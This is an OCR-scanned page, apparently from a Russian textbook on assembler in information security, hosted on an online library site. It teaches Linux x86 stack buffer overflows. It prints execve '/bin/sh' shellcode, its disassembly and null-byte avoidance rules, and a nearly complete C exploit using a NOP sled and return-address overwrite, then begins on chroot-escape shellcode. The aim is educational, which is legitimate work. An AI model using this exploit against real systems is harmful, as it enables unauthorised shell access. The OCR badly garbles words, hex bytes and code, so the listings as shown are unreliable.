Анимация
JavaScript
|
Главная Библионтека 276 Ассемблер в задачах защиты инфор. char buffer[100]; strcpy(buf£er,argv[l]) ; return 0; Казалось бы, все должно быть отлично: мы копируем в отведенный буфер из ста симв, лов первый параметр программы. Но подумайте, что будет, если мы передадим не сто chi волов, а двести. Скорее всего, программа завершится неудачно с выбросом core-файла. Давайте рассмотрим эту программу подробнее с точки зрения возможности исподн ния своего кода. Мы уже поняли, что в профамме нет проверки на длину входяще буфера, что позволяет переполнить буфер, но какой код стоит использовать? В качестве примера можно взять любую профамму-эксплойт (exploit), иначе говор профамму, реализующую ошибки в ПО и приводящую к исполнению кода хакера в си теме. Ниже приведена часть эксплойта. char shellcode[]= "\xeb\xlf\x5e\x89\x76\x08\x31\xc0\x88\x46\x0T "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" "/bin/sh"; main(int argc,char* argv[]) void(*shell) shell 0,• )=(void*)shellcode; return 0; Определяем буфер, в котором находятся бинарные данные, - это и есть shell-code Далее в основной профамме создаем указатель на функцию shell(), которой присваивае указатель на наш shell-code, после чего выполняем shell(). Конечно, эта программ не реализует уязвимостей. Ее цель - объяснить, что такое shell-code. • Дизассемблируем профамму при помощи objdump с параметром -D. Пролистг до секции shellcode, видим следующее:
чава 4- r.f..f.P ../f.PuoHHou системе Linux g0494f2 4fa 80494fc 4fe 80494ff 8049501 8049507 804950a 804950b 8d 4e 08 8d 56 Oc cd 80 31 db 89 d8 40 cd 80 lea lea int xor mov inc int e8 dc ff ff ff 62 69 6e 2f 73 68 das bound das jae Ox8(%esi),%ecx Oxc(%esi),%edx $0x80 %ebx,%ebx %ebx,%eax %eax $0x80 call 80494e2 <shellcode+0x2> %ebp,0x6e(%ecx) 8049575 < DYNAMIC+0x2d> Обратите внимание на второй столбец - это и есть наш shell-code. Интересно, что за профамму мы пытаемся выполнить. Давайте разбираться. jmp 8049501 <shellcode+0x21> можем заменить на jmp $code - пусть это будет пол ноценная метка, так проще разбираться. Получается следующая профамма: ,:ext .global start start: jjip $code main: pop I mov xor raov raov raov mov lea lea int xor mov inc int :ode: :ali string et %esi %esi,0x8(%esi) %eax,%eax %al,0x7(%esi) %eax,Oxc(%esi) $Oxb, %al *esi,%ebx 0x8(%esi),%ecx Oxc(%esi),%edx $0x80 %ebx,%ebx %ebx,%eax %eax $0x80 $main "/bin/sh#AAMBBBB" Tull управление на метку $code, на которой стоит команда call "кома2пГ""Гт™" помещается адрес возврата на следую- МеткГЗ находится строка с вызываемой командой. Следовательно, тке $таш команда pop %esi получает адрес строки. Если спуститься чуть ниже по коду, видно, что в программе два раза вызывается int $0x80, т. е. имеются два системн вызова. Что это за вызовы, можно определить, сравнив значения, имеющиеся в "/oej с номерами функщ1й из /usr/include/sys/syscall.h. В первом случае - это $ОхЬ, во втором - $0x1 (execve, exit). Если со вторым вызовом все понятно (см. описание к программе с write()), то с ъь,щ вом execve() нужно разобраться. execveO принимает три параметра: 0 название профаммы; указатель на название профаммы; указатель на среду окружения. Так этот вызов реализуется на С: char *name[21; name[0]="/bin/sh"; name[l)=NULL; execve(name[0],name,NULL); на ассемблере это реализуется следующим образом: адрес строки в iesi pop %esi помещаем адрес строки вместо АААА mov %esi,0x8(%esi) очищаем %еах хог %еах,%еах ставим \0 в конец строки /bin/sh вместо # mov %al,0x7(%esi) записываем NULL вместо ВВВВ mov %eax,Oxc(%esi) номер системного вызова в %еах mov $Oxb, lal адрес строки в %еЬх mov %esi,%ebx адрес ААМ в %есх lea 0x8(%esi) Деох адрес ВВВВ в %edx lea Oxc(%esi),%edx вызов прерывания int $0x80 Компиляция профаммы: $ gcc -с write.S $ Id -s -о write write.о Программа готова к работе, но есть некоторые моменты, которые стоило 6i>i обсудить. Дело в том что shell-code не может содержать нулевых символов. Это обусловлено тем, что д1ИИ работы со строками, в которых чаще всего обнаруживается переполнение буфера, Гро помешают входную строку до первого нулевого символа, который считается концом ки. Во избежание попадания нулевых символов нужно следовать следующим правилам: не посылать байт в 32-или 16-разрядный регистр, так как компилятор дополнит посылаемое значение нулями до нужного размера; щ помешать номер системного вызова в регистр %al, а не в %еах: mov $Oxb,%al; щ не использовать функцию push при сохранении в стеке байта или слова; щ помнить о постфиксах для команд, использующих пересылку данных; для сохранения или передачи данных можно использовать четкий размер, например, для пересылки байта нужно использовать постфикс Ь: pushb $Oxb; а для обнуления регистров использовать операции хог, inc, dec, например, вместо movl $0,%еах использовать xorl %еах,%еах. 4.4. Реализация эксплойта в этом разделе мы разработаем эксплойт, реализующий уязвимость переполнения буфера в приведенной выше профамме. У каждой профаммы есть свой стек, указатель на который можно получить следующим образом: imsigned long get sp(void) asm ("movl %esp,%eax"); . Функция вернет указатель на начало стека. У нас есть массив из 100 элементов, необходимо поместить shell-код куда-то внутрь него. Но при этом не потерять его в памяти, т. е. всегда "eib указатель на начало shell-кода. Также необходимо следить, чтобы перед нашим кодом в t не попало ничего лишнего, что могло бы привести к сбою профаммы. Мы уже говорили * указателе на начало стека, значит, наш буфер должен располагаться если не сразу после ОГО адреса, то где-то неподалеку. Свободные ячейки буфера заполним командой NOP (\х90), Того чтобы при переходе в любое место буфера мы просто пропустили бы несколько так- Процессора и затем попали в точку входа нашей ассемблерной профаммы. Итак, создаем новый буфер большей величины следующего содержания: начало состо- "3 команд NOP, где-то в середине находится наш shell-code, а в конце - адрес возврата. !:=lude <stdio.h> ""1аде <stdlib.h> Ассемблер в задачах защиты информащ 4. Ассемблер в .....................................................2 tdefine RET #define RANGE 1024 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff "/bin/sh"; unsigned long get sp(void) asm ("movl %esp,%eax"); main(int argc,char *argv[l) ( int offset=0,bsize=RET+RANGE+l; int i; char buff[bsize],*ptr; long ret; unsigned long sp; if (argc<l) printf("There where no offsetXn"); exit 0; offset=atoi(argv[11); sp=get sp(); ret=sp-offset; printf("The stack pointer is: Ox%x\n",sp); printf("The offset is: Ox%x\n",offset); printf("Ret addr is: Ox%x\n",ret); for(i=0;i<bsize;i+=4) Mlong *)Sbuff [I]=ret; for(i=0;i<bsize-RANGE*2-strlen(shellcode)-l;i++) buff[il=\x90; ptr=buff+bsize-RANGE*2-strlen(shellcode)-l; Глава for (i=0;Kstrlen(shellcode);i++) Mptr++)=shellcode[i]; buff[bsize-ll=\0; gxecl (" /vulnerablel", "vulnerablel" ,buf f>ij Так как в рассматриваемом случае буфер является единственной переменной, к тому ж она находится в начале программы, то и смещение должно быть относительно малы\ смешение от 200 - 700 должно работать, но все-таки помните, что это зависит от конкрет ной машины. После выполнения программы буфер выглядит так: SOP NOP ... NOP SHELL-CODE RET RET RET Алгоритм работы эксплойта: получаем указатель на начало стека профаммы;- вычисляем адрес возврата - начало стека минус смещение; заполняем весь буфер адресом возврата; заполняем буфер до начала shell-code опкодом NOP; I вставляем shell-code в тело буфера; заканчиваем shell-code нулевым символом. Остановимся подробнее на написании shell-кодов. 45. Chroot shell4:ode Chroot() - функщм, отвечающая за изменение корневого каталога для профаммы функцию используют ftp-сервера для разфаничения доступа, например, для тоге чтобы пользователь не имел доступа выше своего домашнего каталога. Хакеры используют эту функцгао в своих shell-кодах восстановления первоначально- корневого каталога для сервера. Таким образом, появляется возможность получить •"•(туп к критической информации, находящейся в других каталогах. Номер этой функции Ox3d. Ниже приведен алгоритм работы shell-кода: I обнуляем регистры %еах, %есх; <=охраняем один из регистров - это будет конец строки ( символ \0); Ридцать раз сохраняем символ . ; Шагом в два символа увеличиваем код символа на единицу, получится код символа 7; 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [ 44 ] 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |